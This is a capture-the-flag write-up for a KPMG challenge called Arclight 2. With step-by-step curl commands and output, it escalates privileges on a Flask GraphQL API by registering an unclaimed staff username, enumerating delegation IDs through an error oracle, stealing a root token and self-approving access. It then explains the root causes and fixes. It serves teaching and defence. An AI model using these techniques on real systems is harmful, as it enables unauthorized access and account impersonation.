Arclight 2: GraphQL Privilege Escalation (Username Impersonation + Delegation IDOR)

Flag: KPMG_CTF{4XoZ9mXrxXsFncJMt9RCPoj60BAjb2tXl3Gtf7_fkZIG}

Target: http://kicyber-eb9b9d1d5760-arclight2-0-0.chals.io Category: API (GraphQL) / broken authentication + broken object-level authorization → privilege escalation Hint (from KPMG CTF): “Standard access only gets you so far at Arclight. Getting the rest is your problem ¯\_(ツ)_/¯”

Overview

Arclight 2 is the sequel to Arclight 1: same Flask + GraphQL stack, but now the flag lives behind a rootVault query that is “root tier only”. A fresh account gets role: standard.

Getting to root chains two flaws:

  1. Identity is the username string, and /register lets you choose any username. The delegation query authorizes by comparing the delegation’s owner to your session username. Directory staff names (e.g. k.mercer) have no login account, so you can just register the username k.mercer and become, for authorization purposes, that person.
  2. The access-request/approval workflow is self-approvable. With a privileged delegation token in hand (stolen via #1), you file a root access request for yourself and approve it using that token as “sponsor”. The server then re-issues your session cookie with role: root, with no check that the sponsor delegation belongs to someone other than the requester.

With role: root in the cookie, rootVault hands over the flag.

Recon

1. Register, log in, read the console

base="http://kicyber-eb9b9d1d5760-arclight2-0-0.chals.io"
U="hunter_7830"; P="<password>"
curl -s -c cj.txt -b cj.txt -X POST "$base/register" --data "username=$U&password=$P" -o /dev/null
curl -s -i -c cj.txt -b cj.txt -X POST "$base/login" --data "username=$U&password=$P" | grep -i set-cookie

Output:

Set-Cookie: session=eyJyb2xlIjoic3RhbmRhcmQiLCJ1c2VybmFtZSI6Imh1bnRlcl83ODMwIn0...; HttpOnly; Path=/

The Flask session base64-decodes to {"role":"standard","username":"hunter_7830"}.

/dashboard points at /static/ops.js, which documents the entire API:

//   query    { me { username role } }
//   query    { staff(id: Int) { id username team } }
//   query    { delegation(id: Int) { id owner tier token } }      // owner-only
//   mutation { createAccessRequest(tier: String) { id requester tier status } }
//   mutation { approveRequest(id: Int, sponsor: String) { id status } }
//   query    { rootVault }                                        // root tier only
//
// access flow: file a request, then it has to be approved against a privileged delegation.

2. Baseline GraphQL state

gq(){ curl -s -b cj.txt -X POST "$base/graphql" -H 'Content-Type: application/json' --data "{\"query\":\"$1\"}"; echo; }
gq '{ me { username role } }'
gq '{ rootVault }'
for i in 1 2 3 4 5; do gq "{ staff(id: $i) { id username team } }"; done

Output:

{"data":{"me":{"role":"standard","username":"hunter_7830"}}}
{"data":{"rootVault":null},"errors":[{"message":"root access required"}]}
staff 1 -> {"id":1,"team":"platform","username":"k.mercer"}
staff 2 -> {"id":2,"team":"support","username":"t.okafor"}
staff 3 -> {"id":3,"team":"design","username":"j.vance"}
staff 4,5 -> null

Introspection is fully disabled:

gq '{ __schema { types { name } } }'
# {"errors":[{"message":"GraphQL introspection has been disabled..."}]}

Finding the privileged delegation

3. delegation is an IDOR oracle

delegation(id) returns null for our standard session at low IDs, but a wide sweep exposes an error that distinguishes existing-but-unowned delegations from non-existent ones:

for i in $(seq -5 60) 100 101 102 1000 5001; do
  r=$(gq "{ delegation(id: $i) { id owner tier token } }")
  [ "$r" != '{"data":{"delegation":null}}' ] && echo "id=$i: $r"
done

Output:

id=101: {"data":{"delegation":null},"errors":[{"message":"forbidden: not your delegation"}]}
id=102: {"data":{"delegation":null},"errors":[{"message":"forbidden: not your delegation"}]}

So delegations 101 and 102 exist; the owner-check blocks us. The error (forbidden) vs. silent null is a classic enumeration oracle.

4. Become the owner by registering their username

Authorization is delegation.owner == session.username. The staff names come straight from the staff query. Testing which are real login accounts:

for name in k.mercer t.okafor j.vance; do
  code=$(curl -s -o /dev/null -w "%{http_code}" -c /dev/null -X POST "$base/register" \
           --data "username=$name&password=<password>")
  echo "$name -> $code"   # 302 = registered OK, 200 = already taken
done

Output:

k.mercer -> 302     # registered successfully (no prior login account!)
t.okafor -> 200     # already taken (seeded)
j.vance  -> 302     # registered successfully

k.mercer, the platform staffer, had no account, so I registered it, logged in as k.mercer, and read the delegations:

curl -s -c km.txt -b km.txt -X POST "$base/login" --data "username=k.mercer&password=<password>" -o /dev/null
kgq(){ curl -s -b km.txt -X POST "$base/graphql" -H 'Content-Type: application/json' --data "{\"query\":\"$1\"}"; echo; }
kgq '{ delegation(id: 101) { id owner tier token } }'

Output:

{"data":{"delegation":{"id":101,"owner":"k.mercer","tier":"root","token":"5ac48b621a0373d1"}}}

A root-tier delegation token: 5ac48b621a0373d1.

Privilege escalation → the flag

5. File a root request and self-approve with the stolen token

Back in my own hunter_7830 session. The approval is the step that matters: capture its response headers, because the server re-issues the session cookie:

TOKEN="5ac48b621a0373d1"
# file the request
gq 'mutation { createAccessRequest(tier: \"root\") { id requester tier status } }'
# -> {"data":{"createAccessRequest":{"id":5004,"requester":"hunter_7830","status":"pending","tier":"root"}}}

# approve it, keeping response headers + updating the cookie jar
curl -s -i -c cj.txt -b cj.txt -X POST "$base/graphql" -H 'Content-Type: application/json' \
  --data "{\"query\":\"mutation { approveRequest(id: 5004, sponsor: \\\"$TOKEN\\\") { id status } }\"}" \
  | grep -i -E "set-cookie|approveRequest"

Output:

Set-Cookie: session=eyJyb2xlIjoicm9vdCIsInVzZXJuYW1lIjoiaHVudGVyXzc4MzAifQ...; HttpOnly; Path=/
{"data":{"approveRequest":{"id":5004,"status":"approved"}}}

The new cookie decodes to {"role":"root","username":"hunter_7830"}: approval silently elevated my own session to root.

Note: the elevation lives in the Set-Cookie on the approveRequest response. Approving without persisting that cookie (or re-logging in afterward) drops you back to standard; the role is never written to the user record, only re-stamped into the signed session.

6. Read the vault (SOLVED)

gq '{ me { username role } }'
gq '{ rootVault }'

Output:

{"data":{"me":{"role":"root","username":"hunter_7830"}}}
{"data":{"rootVault":"KPMG_CTF{4XoZ9mXrxXsFncJMt9RCPoj60BAjb2tXl3Gtf7_fkZIG}"}}

Flag: KPMG_CTF{4XoZ9mXrxXsFncJMt9RCPoj60BAjb2tXl3Gtf7_fkZIG}

Why it works

  • Username is treated as identity. The delegation resolver authorizes by string-matching owner == session.username, and registration imposes no reservation of directory/staff names. Registering k.mercer makes you k.mercer for every username-based check.
  • The enumeration oracle (forbidden for real IDs, null for missing ones) pinpointed the delegations without any introspection.
  • Self-approval. approveRequest only checks that sponsor is a privileged delegation token, not that it belongs to someone other than the requester, nor that the caller is authorized to wield it. Any leaked root token lets you approve your own root request.
  • Elevation via re-stamped session. Approval re-signs your cookie with the granted tier, so escalation is immediate and entirely client-side thereafter.

Root cause & fix

Broken authentication + broken function/object-level authorization (OWASP API1/API5):

  • Separate identity from mutable display names. Authorize on a stable, server-controlled user ID, never on a user-chosen username; reserve/claim directory identities so k.mercer can’t be registered by an outsider.
  • Authorize the sponsor, not just validate it. approveRequest must verify the sponsor delegation belongs to a different, authorized approver and that the caller legitimately holds it. Enforce separation of duties (requester ≠ approver).
  • Don’t return secret tokens from the delegation query at all; approvals should reference a delegation by ID server-side, never require the client to echo a bearer token.
  • Treat the enumeration oracle as a bug: return identical responses for “not found” and “forbidden”.

Takeaways

  • When auth keys on a username and the app has open registration, try registering the privileged identity: directory/staff names that were never real login accounts are prime targets.
  • A forbidden vs. null (or 403 vs. 404) difference is an enumeration oracle; sweep IDs to map hidden objects even with introspection off.
  • Watch the response headers on mutations: privilege changes often ride in a re-issued Set-Cookie, and the escalation vanishes if you don’t persist it.
  • Approval/”four-eyes” workflows are worth probing for self-approval; missing requester-≠-approver separation is a common logic bug.